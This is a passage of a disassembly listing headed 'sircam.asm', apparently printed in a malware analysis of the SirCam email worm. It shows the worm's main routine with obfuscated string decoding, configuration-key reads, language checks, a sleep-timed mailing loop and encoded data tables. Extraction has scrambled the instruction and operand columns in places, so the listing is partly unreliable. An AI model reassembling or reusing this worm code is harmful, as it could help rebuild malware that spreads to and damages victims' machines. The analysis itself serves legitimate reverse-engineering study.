sub_40351C 0 1 eax, [ebp+var_BC] eax ecx, ecx edx, offset aFb1ba_0 ; "FB1BA" eax, ds:dword_41EEFC sub_415EAC edx, [ebp+var_BC] eax, [ebp+var_40] eax, 8 sub_40351C ecx, [ebp+var_C0] edx, edx eax, offset dword_41A144 sub_415FAC edx, [ebp+var_C0] eax, [ebp+var_40] eax, 14h sub_40351C ecx, [ebp+var_C4] edx, edx eax, offset dword_41A158 loc_419272: sircam.asm Fri Aug 10 12:42:44 2001 667 call mov mov add call lea xor mov sub_415FAC edx, [ebp+var_C4] eax, [ebp+var_40] eax, 10h sub_40351C ecx, [ebp+var_C8] edx, edx eax, offset aDxgXvaAdzzvddr ; "|\204x\203}x\202\200{\200Dz\207 call mov mov add call mov mov sub_415FAC edx, [ebp+var_C8] eax, [ebp+var_40] eax, 0Ch sub_40351C [ebp+var_60], 1 [ebp+var_79], 0 mov mov mov call test jz mov lea mov mov mov call mov ; CODE XREF: sub_4190CC+2D4\031j eax, [ebp+var_40] edx, [ebp+var_60] eax, [eax+edx*4] sub_418FBC al, al short loc_419399 [ebp+var_79], 1 eax, [ebp+var_C] edx, [ebp+var_40] ecx, [ebp+var_60] edx, [edx+ecx*4] sub_403560 [ebp+var_60], 5 \202D\204\220" loc_41936B: loc_419399: ; CODE XREF: sub_4190CC+2AF\030j inc [ebp+var_60] cmp [ebp+var_60], 5 jle short loc_41936B push 1 push 1 lea eax, [ebp+var_CC] push eax mov ecx, [ebp+var_C] mov edx, offset dword_41A188 mov eax, ds:dword_41EEFC call sub_415EAC cmp [ebp+var_79], 0 jz short loc_4193D4 lea eax, [ebp+var_2C] mov edx, offset dword_41A194 call sub_403560 jmp short loc_4193E1 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4193D4: lea mov call ; CODE XREF: sub_4190CC+2F7\030j eax, [ebp+var_2C] edx, offset dword_41A1A0 sub_403560 push push lea push mov mov mov call push lea push call ; CODE XREF: sub_4190CC+306\030j 1 1 eax, [ebp+var_D0] eax ecx, [ebp+var_2C] edx, offset dword_41A1AC eax, ds:dword_41EEFC sub_415EAC 14h eax, [ebp+var_99] eax j_GetUserDefaultLangID loc_4193E1: sircam.asm Fri Aug 10 12:42:44 2001 movzx push call push lea mov mov call add lea mov mov mov lea lea call lea mov mov mov lea lea mov call lea lea call lea mov mov mov lea lea mov call lea lea call mov push lea xor mov call mov pop call jnz lea xor mov 668 eax, ax eax j_VerLanguageNameA 5 eax, [ebp+var_38] ecx, 1 edx, ds:off_419060 sub_4045A0 esp, 4 eax, [ebp+var_D8] dl, [ebp+var_99] [eax+1], dl byte ptr [eax], 1 edx, [ebp+var_D8] eax, [ebp+var_DC] sub_402848 eax, [ebp+var_E0] dl, [ebp+var_98] [eax+1], dl byte ptr [eax], 1 edx, [ebp+var_E0] eax, [ebp+var_DC] cl, 2 sub_402818 edx, [ebp+var_DC] eax, [ebp+var_E4] sub_402848 eax, [ebp+var_E0] dl, [ebp+var_97] [eax+1], dl byte ptr [eax], 1 edx, [ebp+var_E0] eax, [ebp+var_E4] cl, 3 sub_402818 edx, [ebp+var_E4] eax, [ebp+var_D4] sub_4036EC eax, [ebp+var_D4] eax ecx, [ebp+var_E8] edx, edx eax, offset dword_41A1B8 sub_415FAC edx, [ebp+var_E8] eax sub_403834 loc_419596 ecx, [ebp+var_14] edx, edx eax, offset aDvx8xedz5Kmvi7 ; "‘\204\202x8x\205\204\2075{\212\214 v\2117W" call sub_415FAC lea ecx, [ebp+var_18] xor edx, edx mov eax, offset aOnt@cgmpfPtrmu ; "o\215\222@\227\203\214\217\224> \217\222\220\214\223\217M>\206\222\202\201\210\201\224L" call sub_415FAC lea ecx, [ebp+var_EC] xor edx, edx mov eax, offset aTaKqiamApGApbg ; "\222 \\ª\237© ¬^ ¯±£[\235¯¡£¥³-[¬ \236°\234\\®³ \\ª£[ ¢±[°"... call sub_415FAC mov edx, [ebp+var_EC] mov eax, [ebp+var_38] add eax, 4 call sub_40351C lea ecx, [ebp+var_F0] xor edx, edx mov eax, offset dword_41A244 sircam.asm Fri Aug 10 12:42:44 2001 669 call sub_415FAC mov edx, [ebp+var_F0] mov eax, [ebp+var_38] add eax, 8 call sub_40351C lea ecx, [ebp+var_F4] xor edx, edx mov eax, offset aUaufvNgxmxdgbu ; "u \236\224¢\234N£\225M\225¤£¡\223O \225 ¢\224P\216 \222\230\226¤\236P\236£\224P¡\223O\235\216\234"... call sub_415FAC mov edx, [ebp+var_F4] mov eax, [ebp+var_38] add eax, 0Ch call sub_40351C lea ecx, [ebp+var_F8] xor edx, edx mov eax, offset aAlnqAmzadyinib ; "\200«-\237[\235¬Z ¤Y\233-\233¡£±§Y \235ª¦Y¦\234X¢¨¡§«§\234\233¢-©Xª"... call sub_415FAC mov edx, [ebp+var_F8] mov eax, [ebp+var_38] add eax, 10h call sub_40351C jmp loc_419640 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_419596: lea xor mov ; CODE XREF: sub_4190CC+415\030j ecx, [ebp+var_14] edx, edx eax, offset a_66_gm6xjz6rgk ; "_}66_\203\2146x\206z6\220\203\212U " call sub_415FAC lea ecx, [ebp+var_18] xor edx, edx mov eax, offset dword_41A310 call sub_415FAC lea ecx, [ebp+var_FC] xor edx, edx mov eax, offset aBuiJsvZkvlauiw ; "\201U©\234¦\231V°§ªV« \236©W\236 \236¢\234X\236¤W§§\232\234ªUª¦X\235\227-\235U¯"... call sub_415FAC mov edx, [ebp+var_FC] mov eax, [ebp+var_38] add eax, 4 call sub_40351C lea ecx, [ebp+var_100] xor edx, edx mov eax, offset aBuujiVZkvSgvqa ; "\201U\236¦¨\232V°§ªV\232\231£V\237 \235¡¦W¥\232V®¡©\236W¬\235\237ªX\233\237£\235Uª"... call sub_415FAC mov edx, [ebp+var_100] mov eax, [ebp+var_38] add eax, 8 call sub_40351C lea ecx, [ebp+var_104] xor edx, edx mov eax, offset aYmcuatniqvniss ; "yM\226\236 \222N¨\237¢N\233\231 \230\223O¤\225\223O\226\226\232\224P¡\226\220¤MwO£\222\234\223\237M§"... call sub_415FAC mov edx, [ebp+var_104] mov eax, [ebp+var_38] add eax, 0Ch call sub_40351C lea ecx, [ebp+var_108] xor edx, edx mov eax, offset aSvdpGoVaGgzbDE ; "\221¢¤¯]£®\\±¢ \\££§¡]±¤°¥Z¯¤¢Z¤ª£ ©-©\236®¤««Z¯"... call sub_415FAC mov edx, [ebp+var_108] mov eax, [ebp+var_38] sircam.asm Fri Aug 10 12:42:44 2001 add call 670 eax, 10h sub_40351C loc_419640: ; CODE XREF: sub_4190CC+4C5\030j mov eax, 4 call sub_4028F4 mov edx, [ebp+var_38] mov edx, [edx+eax*4+4] lea eax, [ebp+var_1C] call sub_403560 lea eax, [ebp+var_28] call sub_4034C8 push 0 push 1 lea eax, [ebp+var_20] push eax lea ecx, [ebp+var_10C] xor edx, edx mov eax, offset dword_41A41C call sub_415FAC mov eax, [ebp+var_10C] push eax lea eax, [ebp+var_110] mov ecx, offset dword_41A428 mov edx, ds:dword_41EEFC call sub_403770 mov eax, [ebp+var_110] xor ecx, ecx pop edx call sub_415EAC lea edx, [ebp+var_58] mov eax, [ebp+var_20] call sub_402978 mov [ebp+var_58], eax cmp [ebp+var_58], 0 jz short loc_4196F6 lea ecx, [ebp+var_118] xor edx, edx mov eax, offset dword_41A438 call sub_415FAC mov ecx, [ebp+var_118] lea eax, [ebp+var_114] mov edx, ds:dword_41EEE8 call sub_403770 mov edx, [ebp+var_114] mov eax, [ebp+var_74] mov ecx, [eax] call dword ptr [ecx+58h] dec [ebp+var_58] jmp short loc_419758 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4196F6: push push lea push xor mov mov call push push lea push mov mov mov call push ; CODE XREF: sub_4190CC+5EC\030j 0 1 eax, [ebp+var_28] eax ecx, ecx edx, offset aFb1b_0 ; "FB1B" eax, ds:dword_41EEFC sub_415EAC 1 1 eax, [ebp+var_11C] eax ecx, offset dword_41A45C edx, offset aFc43 ; "FC43" eax, ds:dword_41EEFC sub_415EAC 1 sircam.asm Fri Aug 10 12:42:44 2001 push lea push xor mov mov call mov call test jnz xor loc_419758: 671 1 eax, [ebp+var_120] eax ecx, ecx edx, offset dword_41A478 eax, ds:dword_41EEFC sub_415EAC eax, [ebp+var_28] sub_4071A8 al, al short loc_419758 ebx, ebx ; CODE XREF: sub_4190CC+628\030j ; sub_4190CC+688\030j push push lea push lea call mov mov mov call test jz push lea mov mov call add mov add mov call mov add mov call mov add mov call mov add mov call push lea mov mov call add mov add mov call mov add mov call mov add mov call mov add mov 1 1 eax, [ebp+var_124] eax eax, [ebp+var_128] sub_419074 ecx, [ebp+var_128] edx, offset aFd11 ; "FD11" eax, ds:dword_41EEFC sub_415EAC bl, bl loc_419F9F 5 eax, [ebp+var_44] ecx, 1 edx, ds:off_419060 sub_4045A0 esp, 4 eax, [ebp+var_44] eax, 4 edx, offset dword_41A494 sub_40351C eax, [ebp+var_44] eax, 8 edx, offset dword_41A4A0 sub_40351C eax, [ebp+var_44] eax, 0Ch edx, offset dword_41A4AC sub_40351C eax, [ebp+var_44] eax, 10h edx, offset dword_41A4B8 sub_40351C 8 eax, [ebp+var_3C] ecx, 1 edx, ds:off_419060 sub_4045A0 esp, 4 eax, [ebp+var_3C] eax, 4 edx, offset dword_41A4C4 sub_40351C eax, [ebp+var_3C] eax, 8 edx, offset dword_41A4C4 sub_40351C eax, [ebp+var_3C] eax, 0Ch edx, offset dword_41A4C4 sub_40351C eax, [ebp+var_3C] eax, 10h edx, offset dword_41A4D0 sircam.asm Fri Aug 10 12:42:44 2001 672 call mov add mov call mov add mov call mov add mov call lea call push push lea push xor mov mov call mov lea call mov cmp jz cmp jnz sub_40351C eax, [ebp+var_3C] eax, 14h edx, offset dword_41A4DC sub_40351C eax, [ebp+var_3C] eax, 18h edx, offset dword_41A4E8 sub_40351C eax, [ebp+var_3C] eax, 1Ch edx, offset dword_41A4F4 sub_40351C eax, [ebp+var_2C] sub_4034C8 0 1 eax, [ebp+var_12C] eax ecx, ecx edx, offset aFc42 ; "FC42" eax, ds:dword_41EEFC sub_415EAC eax, [ebp+var_12C] edx, [ebp+var_5C] sub_402978 [ebp+var_5C], eax [ebp+var_5C], 0 short loc_4198AC [ebp+var_5C], 7 short loc_4198B3 mov [ebp+var_60], 1 push push lea push xor mov mov call mov lea call mov cmp jg ; CODE XREF: sub_4190CC+7DE\030j 0 1 eax, [ebp+var_130] eax ecx, ecx edx, offset aFc421 ; "FC421" eax, ds:dword_41EEFC sub_415EAC eax, [ebp+var_130] edx, [ebp+var_70] sub_402978 [ebp+var_70], eax [ebp+var_60], 7 loc_419F9F lea xor mov call mov mov mov mov lea call push push lea push lea mov mov call ; CODE XREF: sub_4190CC+ECD\031j ecx, [ebp+var_134] edx, edx eax, offset dword_41A520 sub_415FAC edx, [ebp+var_134] eax, [ebp+var_3C] ecx, [ebp+var_60] ecx, [eax+ecx*4] eax, [ebp+var_24] sub_403770 0 1 eax, [ebp+var_20] eax eax, [ebp+var_138] ecx, offset dword_41A428 edx, ds:dword_41EEFC sub_403770 loc_4198AC: ; CODE XREF: sub_4190CC+7D8\030j loc_4198B3: loc_4198EA: sircam.asm Fri Aug 10 12:42:44 2001 673 mov xor mov call lea mov call mov cmp jz mov test jle mov mov eax, [ebp+var_138] ecx, ecx edx, [ebp+var_24] sub_415EAC edx, [ebp+var_4C] eax, [ebp+var_20] sub_402978 [ebp+var_4C], eax [ebp+var_4C], 0 loc_419F70 eax, [ebp+var_4C] eax, eax loc_419F70 [ebp+var_80], eax [ebp+var_48], 1 mov mov call lea mov call lea mov call push push push push lea xor mov call push lea mov call mov mov mov call mov mov call dec mov mov mov sub jl inc mov mov ; CODE XREF: sub_4190CC+E9E\031j eax, ds:dword_41EF14 edx, [eax] dword ptr [edx+40h] edx, [ebp+var_238] eax, [ebp+var_48] sub_40296C edx, [ebp+var_238] eax, offset dword_41EEF4 sub_4036EC ds:dword_41EEE8 offset dword_41A098 [ebp+var_24] ds:dword_41EEF4 ecx, [ebp+var_240] edx, edx eax, offset a9luv_1 ; "9luv" sub_415FAC [ebp+var_240] eax, [ebp+var_23C] edx, 5 sub_4037E4 edx, [ebp+var_23C] eax, ds:dword_41EF14 ecx, [eax] dword ptr [ecx+58h] eax, ds:dword_41EF14 edx, [eax] dword ptr [edx+14h] eax [ebp+var_50], eax eax, [ebp+var_70] edx, [ebp+var_50] edx, eax loc_419F64 edx [ebp+var_84], edx [ebp+var_54], eax push push lea push mov mov mov call mov call test jz cmp jz ; CODE XREF: sub_4190CC+E92\031j 1 1 eax, [ebp+var_244] eax ecx, offset dword_41A53C edx, offset dword_41A548 eax, ds:dword_41EEFC sub_415EAC al, [ebp+var_79] sub_418EBC al, al loc_419F55 [ebp+var_2C], 0 short loc_419A47 loc_41996E: loc_419A08: sircam.asm Fri Aug 10 12:42:44 2001 674 cmp jnz [ebp+var_6C], 8 loc_419B8D xor mov cmp jnz mov call mov lea mov mov call mov mov call mov call test jz lea mov call lea mov call mov lea mov call mov mov call jz push push mov call mov mov lea xor call push lea mov call ; CODE XREF: sub_4190CC+96F\030j eax, eax [ebp+var_6C], eax [ebp+var_28], 0 loc_419B82 eax, [ebp+var_58] sub_4028F4 edx, eax ecx, [ebp+var_248] eax, [ebp+var_74] ebx, [eax] dword ptr [ebx+0Ch] edx, [ebp+var_248] eax, offset dword_41EEF4 sub_40351C eax, ds:dword_41EEF4 sub_4071A8 al, al loc_419B75 edx, [ebp+var_2C] eax, ds:dword_41EEF4 sub_4073EC edx, [ebp+var_250] eax, [ebp+var_2C] sub_41620C eax, [ebp+var_250] ecx, [ebp+var_24C] edx, 1 sub_415FAC eax, [ebp+var_24C] edx, offset dword_41A554 sub_403834 short loc_419B0C [ebp+var_2C] offset dword_41A560 eax, 4 sub_4028F4 edx, [ebp+var_44] eax, [edx+eax*4+4] ecx, [ebp+var_254] edx, edx sub_415FAC [ebp+var_254] eax, [ebp+var_2C] edx, 3 sub_4037E4 push push push lea mov call mov call test jnz mov push mov push mov push push lea mov ; CODE XREF: sub_4190CC+A05\030j ds:dword_41EEF0 offset dword_41A098 [ebp+var_2C] eax, [ebp+var_258] edx, 3 sub_4037E4 eax, [ebp+var_258] sub_4071A8 al, al short loc_419B8D eax, [ebp+var_2C] eax eax, [ebp+var_C] eax eax, [ebp+var_8] eax 0 eax, [ebp+var_25C] ecx, offset dword_41A098 loc_419A47: loc_419B0C: sircam.asm Fri Aug 10 12:42:44 2001 675 mov edx, ds:dword_41EEF0 call sub_403770 mov ecx, [ebp+var_25C] mov edx, ds:dword_41EEF4 mov eax, ds:dword_41EED8 call sub_4171C0 jmp short loc_419B8D ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_419B75: ; CODE XREF: sub_4190CC+9BE\030j lea eax, [ebp+var_2C] mov edx, [ebp+var_28] call sub_403560 jmp short loc_419B8D ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_419B82: lea mov call loc_419B8D: ; CODE XREF: sub_4190CC+984\030j eax, [ebp+var_2C] edx, [ebp+var_28] sub_403560 ; CODE XREF: sub_4190CC+975\030j ; sub_4190CC+A6B\030j ... mov mov call mov xor push push push mov push push push push push mov add mov call lea mov mov mov call mov mov mov mov call push mov mov call mov dec mov mov call mov add mov call mov mov call mov mov mov dl, 1 eax, ds:off_4124F8 sub_412560 ds:dword_41EF1C, eax eax, eax ebp offset loc_419F4E dword ptr fs:[eax] fs:[eax], esp offset dword_41A56C [ebp+var_10] offset dword_41A578 [ebp+var_8] offset dword_41A584 eax, ds:dword_41EF1C eax, 0Ch edx, 5 sub_4037E4 ecx, [ebp+var_260] edx, [ebp+var_54] eax, ds:dword_41EF14 ebx, [eax] dword ptr [ebx+0Ch] edx, [ebp+var_260] eax, ds:dword_41EF1C eax, [eax+10h] ecx, [eax] dword ptr [ecx+34h] offset dword_41EEF4 edx, [ebp+var_2C] eax, offset dword_41A560 sub_4039B4 ecx, eax ecx edx, 1 eax, [ebp+var_2C] sub_40392C eax, ds:dword_41EF1C eax, 14h edx, ds:dword_41EEF4 sub_40351C eax, [ebp+var_78] edx, [eax] dword ptr [edx+40h] edx, [ebp+var_14] eax, [ebp+var_78] ecx, [eax] sircam.asm Fri Aug 10 12:42:44 2001 676 call dword ptr [ecx+34h] mov edx, offset dword_41A590 mov eax, [ebp+var_78] mov ecx, [eax] call dword ptr [ecx+34h] mov edx, [ebp+var_1C] mov eax, [ebp+var_78] mov ecx, [eax] call dword ptr [ecx+34h] mov edx, offset dword_41A590 mov eax, [ebp+var_78] mov ecx, [eax] call dword ptr [ecx+34h] mov edx, [ebp+var_18] mov eax, [ebp+var_78] mov ecx, [eax] call dword ptr [ecx+34h] mov edx, [ebp+var_78] mov eax, ds:dword_41EF1C call sub_412620 push ds:dword_41EEF0 push offset dword_41A098 push [ebp+var_2C] lea eax, [ebp+var_264] mov edx, 3 call sub_4037E4 mov edx, [ebp+var_264] mov eax, ds:dword_41EF1C call sub_412708 mov eax, ds:dword_41EF1C call sub_412844 mov eax, ds:dword_41EF1C call sub_412A08 lea ecx, [ebp+var_268] mov edx, [ebp+var_54] mov eax, ds:dword_41EF14 mov ebx, [eax] call dword ptr [ebx+0Ch] mov edx, [ebp+var_268] mov eax, [ebp+var_8] call sub_403834 jnz short loc_419D08 lea ecx, [ebp+var_26C] xor edx, edx mov eax, offset aIlkimjdeiwMzxl ; "\211\213\212\210\214\206\204\205 \211W}\214\207x\213G}\206\205" call sub_415FAC mov ecx, [ebp+var_26C] mov edx, [ebp+var_54] mov eax, ds:dword_41EF14 mov ebx, [eax] call dword ptr [ebx+20h] loc_419D08: cmp jnz cmp jnz mov mov mov mov call push push lea push mov mov mov ; CODE XREF: sub_4190CC+C15\030j [ebp+var_54], 0 short loc_419D50 [ebp+var_34], 0 short loc_419D50 ecx, [ebp+var_30] edx, [ebp+var_54] eax, ds:dword_41EF14 ebx, [eax] dword ptr [ebx+20h] 1 1 eax, [ebp+var_270] eax ecx, offset dword_41A194 edx, offset aFb1bc ; "FB1BC" eax, ds:dword_41EEFC sircam.asm Fri Aug 10 12:42:44 2001 call lea mov call loc_419D50: 677 sub_415EAC eax, [ebp+var_34] edx, offset dword_41A194 sub_403560 ; CODE XREF: sub_4190CC+C40\030j ; sub_4190CC+C46\030j push push lea push mov mov mov call mov mov push lea mov mov mov call mov mov mov call test jz push push lea push xor mov mov call mov lea call mov inc lea mov call lea mov call push push lea push mov mov mov call inc push push lea push mov mov mov call push push lea push xor 1 1 eax, [ebp+var_274] eax ecx, offset dword_41A5B8 edx, offset dword_41A548 eax, ds:dword_41EEFC sub_415EAC eax, ds:dword_41EF1C eax, [eax+8] eax ecx, [ebp+var_278] edx, [ebp+var_54] eax, ds:dword_41EF14 ebx, [eax] dword ptr [ebx+0Ch] edx, [ebp+var_278] ecx, [ebp+var_C] eax, [ebp+var_8] sub_413258 al, al loc_419F36 0 1 eax, [ebp+var_27C] eax ecx, ecx edx, offset dword_41A5C4 eax, ds:dword_41EEFC sub_415EAC eax, [ebp+var_27C] edx, [ebp+var_64] sub_402978 [ebp+var_64], eax [ebp+var_64] edx, [ebp+var_238] eax, [ebp+var_64] sub_40296C edx, [ebp+var_238] eax, offset dword_41EEF4 sub_4036EC 1 1 eax, [ebp+var_280] eax ecx, ds:dword_41EEF4 edx, offset dword_41A5C4 eax, ds:dword_41EEFC sub_415EAC [ebp+var_6C] 1 1 eax, [ebp+var_284] eax ecx, offset dword_41A5D0 edx, offset dword_41A548 eax, ds:dword_41EEFC sub_415EAC 0 1 eax, [ebp+var_288] eax ecx, ecx sircam.asm Fri Aug 10 12:42:44 2001 678 mov edx, offset aFd11 ; "FD11" mov eax, ds:dword_41EEFC call sub_415EAC mov eax, [ebp+var_288] lea edx, [ebp+var_68] call sub_402978 mov [ebp+var_68], eax imul eax, [ebp+var_68], 0EA60h push eax call j_Sleep push 1 push 1 lea eax, [ebp+var_28C] push eax lea ecx, [ebp+var_290] mov edx, [ebp+var_54] mov eax, ds:dword_41EF14 mov ebx, [eax] call dword ptr [ebx+0Ch] mov ecx, [ebp+var_290] mov edx, offset aFd10 ; "FD10" mov eax, ds:dword_41EEFC call sub_415EAC lea edx, [ebp+var_238] mov eax, [ebp+var_54] call sub_40296C lea edx, [ebp+var_238] mov eax, offset dword_41EEF4 call sub_4036EC push 1 push 1 lea eax, [ebp+var_294] push eax mov ecx, ds:dword_41EEF4 mov edx, offset aFc421 ; "FC421" mov eax, ds:dword_41EEFC call sub_415EAC mov eax, [ebp+var_54] cmp eax, [ebp+var_50] jnz short loc_419EF8 mov eax, offset dword_41EEF4 mov edx, offset dword_41A1A0 call sub_40351C jmp short loc_419F16 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_419EF8: lea mov call lea mov call ; CODE XREF: sub_4190CC+E19\030j edx, [ebp+var_238] eax, [ebp+var_60] sub_40296C edx, [ebp+var_238] eax, offset dword_41EEF4 sub_4036EC push push lea push mov mov mov call ; CODE XREF: sub_4190CC+E2A\030j 1 1 eax, [ebp+var_298] eax ecx, ds:dword_41EEF4 edx, offset aFc42 ; "FC42" eax, ds:dword_41EEFC sub_415EAC xor pop pop pop mov eax, eax edx ecx ecx fs:[eax], edx loc_419F16: loc_419F36: ; CODE XREF: sub_4190CC+CD2\030j sircam.asm Fri Aug 10 12:42:44 2001 push 679 offset loc_419F55 loc_419F43: ; CODE XREF: sub_4190CC+E87\031j mov eax, ds:dword_41EF1C call sub_402BDC retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_419F4E: ; DATA XREF: sub_4190CC+AD5\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_419F43 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_419F55: ; CODE XREF: sub_4190CC+965\030j ; DATA XREF: sub_4190CC+E72\030o inc dec jnz [ebp+var_54] [ebp+var_84] loc_419A08 inc dec jnz [ebp+var_48] [ebp+var_80] loc_41996E loc_419F64: ; CODE XREF: sub_4190CC+92C\030j loc_419F70: ; CODE XREF: sub_4190CC+887\030j ; sub_4190CC+892\030j mov al, [ebp+var_79] call sub_418EBC test al, al jz short loc_419F8B cmp [ebp+var_60], 7 jnz short loc_419F92 mov [ebp+var_60], 1 jmp short loc_419F92 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_419F8B: ; CODE XREF: sub_4190CC+EAE\030j mov [ebp+var_60], 7 loc_419F92: ; CODE XREF: sub_4190CC+EB4\030j ; sub_4190CC+EBD\030j inc cmp jle [ebp+var_60] [ebp+var_60], 7 loc_4198EA mov call mov call mov call xor pop pop pop mov push ; CODE XREF: sub_4190CC+6B9\030j ; sub_4190CC+818\030j eax, ds:dword_41EF14 sub_402BDC eax, [ebp+var_74] sub_402BDC eax, [ebp+var_78] sub_402BDC eax, eax edx ecx ecx fs:[eax], edx offset loc_41A01E lea mov call lea mov call lea mov ; CODE XREF: CODE:0041A01C\031j eax, [ebp+var_298] edx, 18h sub_4034EC eax, [ebp+var_138] edx, 15h sub_4034EC eax, [ebp+var_D4] edx, 0Eh loc_419F9F: loc_419FC6: sircam.asm Fri Aug 10 12:42:44 2001 sub_4190CC call sub_4034EC lea eax, [ebp+var_44] mov edx, ds:off_419060 mov ecx, 4 call sub_403BE8 lea eax, [ebp+var_34] mov edx, 0Dh call sub_4034EC retn endp ; sp = -0E8h 680 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41A017: ; DATA XREF: sub_4190CC+13\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_419FC6 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41A01E: ; DATA XREF: sub_4190CC+EF5\030o pop ebx mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dd 0FFFFFFFFh, 2Ch aJqcjksgcpXeqdb db ’\206\237\227¦ª\221£\227\217}\232\225¥\237¤¡\231¤\215{¡¤\226¤¡\225¥Rt \223\224¡¨\236¥R\200\221\237\223\232\225£\216’,0 ; DATA XREF: sub_4190CC+5C\030o align 4 dd 0FFFFFFFFh, 14h dword_41A064 dd 7B7F7D5Fh, 3A8D8490h, 86827968h, 7D7C593Bh, 8E878D8Ah ; DATA XREF: sub_4190CC+86\030o dd 0, 0FFFFFFFFh, 9 dword_41A084 dd 7E717051h, 82827B85h, 6Ch, 0FFFFFFFFh, 1 ; DATA XREF: sub_4190CC+BA \030o dword_41A098 dd 5Ch, 0FFFFFFFFh, 12h ; DATA XREF: sub_4190CC+CD\030o ; sub_4190CC+8D0\030o ... aLckh9Dyvv7yZiM db ’lckh9[\204y\202\2027Y}z\211}\214\211’,0 ; DATA XREF: sub_4190CC+EF \030o align 4 dd 0FFFFFFFFh, 0Bh dword_41A0C0 dd 61645C65h, 83756232h, 827488h, 0FFFFFFFFh, 11h ; DATA XREF: sub_4190CC+119\030o dword_41A0D4 dd 676A626Bh, 8A7F5938h, 90778188h, 84776338h, 7Dh, 0FFFFFFFFh ; DATA XREF: sub_4190CC+143\030o dd 0Eh dword_41A0F0 dd 78828485h, 428C797Eh, 42877783h, 8A82h, 0FFFFFFFFh ; DATA XREF: sub_4190CC+164\030o dd 1 dword_41A108 dd 40h, 0FFFFFFFFh, 5 ; DATA XREF: sub_4190CC+184\030o aFb1bb_0 db ’FB1BB’,0 ; DATA XREF: sub_4190CC+1B0\030o align 4 dd 0FFFFFFFFh, 5 aFb1bc db ’FB1BC’,0 ; DATA XREF: sub_4190CC+1C9\030o ; sub_4190CC+C68\030o align 4 dd 0FFFFFFFFh, 5 aFb1ba_0 db ’FB1BA’,0 ; DATA XREF: sub_4190CC+20B\030o align 4 dd 0FFFFFFFFh, 9 dword_41A144 dd 7A737C77h, 747C3B75h, 84h, 0FFFFFFFFh, 0Ah ; DATA XREF: sub_4190CC+233 \030o dword_41A158 dd 717B7C76h, 7E3D7374h, 8276h, 0FFFFFFFFh, 11h ; DATA XREF: sub_4190CC+2 56\030o aDxgXvaAdzzvddr db ’|\204x\203}x\202\200{\200Dz\207\202D\204\220’,0 ; DATA XREF: sub_4190 CC+279\030o align 4 dd 